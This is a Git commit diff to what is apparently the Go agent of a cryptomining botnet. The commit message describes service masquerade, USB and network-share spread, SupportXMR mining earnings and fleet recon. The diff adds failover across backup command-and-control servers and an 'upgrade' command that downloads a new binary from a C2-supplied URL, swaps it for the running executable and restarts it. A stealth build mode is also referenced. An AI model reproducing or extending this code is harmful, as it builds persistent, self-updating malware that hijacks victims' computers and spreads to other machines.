Add fleet resilience, passive spread, matrix rain UI, and live earnings.
Backup server URL failover, watchdog process restart, service masquerade, remote fleet upgrade, recon UI, SupportXMR earnings, USB/share passive spread, and sidebar matrix rain with live fleet telemetry.
This commit is contained in:
@@ -4,8 +4,10 @@ import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
"os/exec"
|
||||
@@ -75,15 +77,26 @@ func (c *AgentClient) Run() error {
|
||||
}
|
||||
}
|
||||
|
||||
// Build deduped server list: primary first, then backups.
|
||||
// On each failure we advance to the next URL so the fleet never
|
||||
// goes dark when the primary host reboots.
|
||||
serverURLs := buildServerURLList(c.cfg)
|
||||
log.Printf("[agent] %d server(s) configured: %v", len(serverURLs), serverURLs)
|
||||
|
||||
urlIdx := 0
|
||||
backoff := 5 * time.Second
|
||||
const maxBackoff = 60 * time.Second
|
||||
|
||||
for {
|
||||
target := serverURLs[urlIdx%len(serverURLs)]
|
||||
start := time.Now()
|
||||
if err := c.connectLoop(); err != nil {
|
||||
log.Printf("[agent] disconnected: %v", err)
|
||||
if err := c.connectLoop(target); err != nil {
|
||||
log.Printf("[agent] disconnected from %s: %v", target, err)
|
||||
}
|
||||
// Advance to next URL so the next reconnect tries a different server
|
||||
urlIdx++
|
||||
if time.Since(start) > 10*time.Second {
|
||||
// Long-lived connection succeeded — reset backoff on the next attempt
|
||||
backoff = 5 * time.Second
|
||||
}
|
||||
time.Sleep(backoff)
|
||||
@@ -94,8 +107,30 @@ func (c *AgentClient) Run() error {
|
||||
}
|
||||
}
|
||||
|
||||
func (c *AgentClient) connectLoop() error {
|
||||
wsURL, err := buildWSURL(c.cfg.ServerURL)
|
||||
// buildServerURLList returns [primaryURL, ...backupURLs] deduped and in order.
|
||||
func buildServerURLList(cfg config.RuntimeConfig) []string {
|
||||
seen := map[string]bool{}
|
||||
var urls []string
|
||||
add := func(u string) {
|
||||
u = strings.TrimSpace(u)
|
||||
if u == "" || seen[u] {
|
||||
return
|
||||
}
|
||||
seen[u] = true
|
||||
urls = append(urls, u)
|
||||
}
|
||||
add(cfg.ServerURL)
|
||||
for _, u := range cfg.BackupServerURLs {
|
||||
add(u)
|
||||
}
|
||||
if len(urls) == 0 {
|
||||
urls = []string{cfg.ServerURL}
|
||||
}
|
||||
return urls
|
||||
}
|
||||
|
||||
func (c *AgentClient) connectLoop(serverURL string) error {
|
||||
wsURL, err := buildWSURL(serverURL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -350,6 +385,14 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
}
|
||||
encoded := base64.StdEncoding.EncodeToString(b)
|
||||
c.sendCommandResult(action, true, encoded)
|
||||
case "upgrade":
|
||||
// data = download URL for the new binary
|
||||
if data == "" {
|
||||
c.sendCommandResult(action, false, "no upgrade URL provided")
|
||||
return
|
||||
}
|
||||
go c.performUpgrade(data)
|
||||
c.sendCommandResult(action, true, "upgrade started — will reconnect with new binary")
|
||||
default:
|
||||
if c.handleReconCommand(action, command) {
|
||||
return
|
||||
@@ -385,6 +428,75 @@ func (c *AgentClient) restartSelf() {
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
// performUpgrade downloads a new binary from downloadURL, replaces the
|
||||
// installed binary, and restarts. Works around Windows file-locking by
|
||||
// renaming the running exe to .old before writing the new one.
|
||||
func (c *AgentClient) performUpgrade(downloadURL string) {
|
||||
log.Printf("[agent] upgrade: downloading from %s", downloadURL)
|
||||
resp, err := http.Get(downloadURL) //nolint:gosec — URL is from trusted C2
|
||||
if err != nil {
|
||||
log.Printf("[agent] upgrade: download failed: %v", err)
|
||||
c.sendCommandResult("upgrade", false, "download failed: "+err.Error())
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
log.Printf("[agent] upgrade: server returned %s", resp.Status)
|
||||
c.sendCommandResult("upgrade", false, "server returned "+resp.Status)
|
||||
return
|
||||
}
|
||||
|
||||
exe, err := os.Executable()
|
||||
if err != nil {
|
||||
c.sendCommandResult("upgrade", false, "cannot locate executable: "+err.Error())
|
||||
return
|
||||
}
|
||||
exe, _ = filepath.Abs(exe)
|
||||
|
||||
// Write new binary to a temp file in the same directory
|
||||
newPath := exe + ".new"
|
||||
tmp, err := os.OpenFile(newPath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
|
||||
if err != nil {
|
||||
c.sendCommandResult("upgrade", false, "cannot write upgrade: "+err.Error())
|
||||
return
|
||||
}
|
||||
if _, err := io.Copy(tmp, resp.Body); err != nil {
|
||||
tmp.Close()
|
||||
_ = os.Remove(newPath)
|
||||
c.sendCommandResult("upgrade", false, "write failed: "+err.Error())
|
||||
return
|
||||
}
|
||||
tmp.Close()
|
||||
|
||||
// On Windows: rename the running exe to .old (allowed), then rename .new into place.
|
||||
// On other OSes: direct rename works while the process is running.
|
||||
oldPath := exe + ".old"
|
||||
_ = os.Remove(oldPath)
|
||||
if err := os.Rename(exe, oldPath); err != nil {
|
||||
_ = os.Remove(newPath)
|
||||
c.sendCommandResult("upgrade", false, "rename old binary failed: "+err.Error())
|
||||
return
|
||||
}
|
||||
if err := os.Rename(newPath, exe); err != nil {
|
||||
// Try to roll back
|
||||
_ = os.Rename(oldPath, exe)
|
||||
_ = os.Remove(newPath)
|
||||
c.sendCommandResult("upgrade", false, "rename new binary failed: "+err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("[agent] upgrade: binary replaced, restarting")
|
||||
c.sendCommandResult("upgrade", true, "binary replaced — restarting")
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
|
||||
cmd := exec.Command(exe, "--run")
|
||||
cmd.Dir = filepath.Dir(exe)
|
||||
if startErr := cmd.Start(); startErr != nil {
|
||||
log.Printf("[agent] upgrade: restart failed: %v", startErr)
|
||||
}
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
func readLogTail(cfg config.RuntimeConfig, tailLines int) (string, error) {
|
||||
if !cfg.FileLogging || cfg.StealthMode {
|
||||
return "", fmt.Errorf("logging disabled (stealth build or file_logging=false)")
|
||||
|
||||
Reference in New Issue
Block a user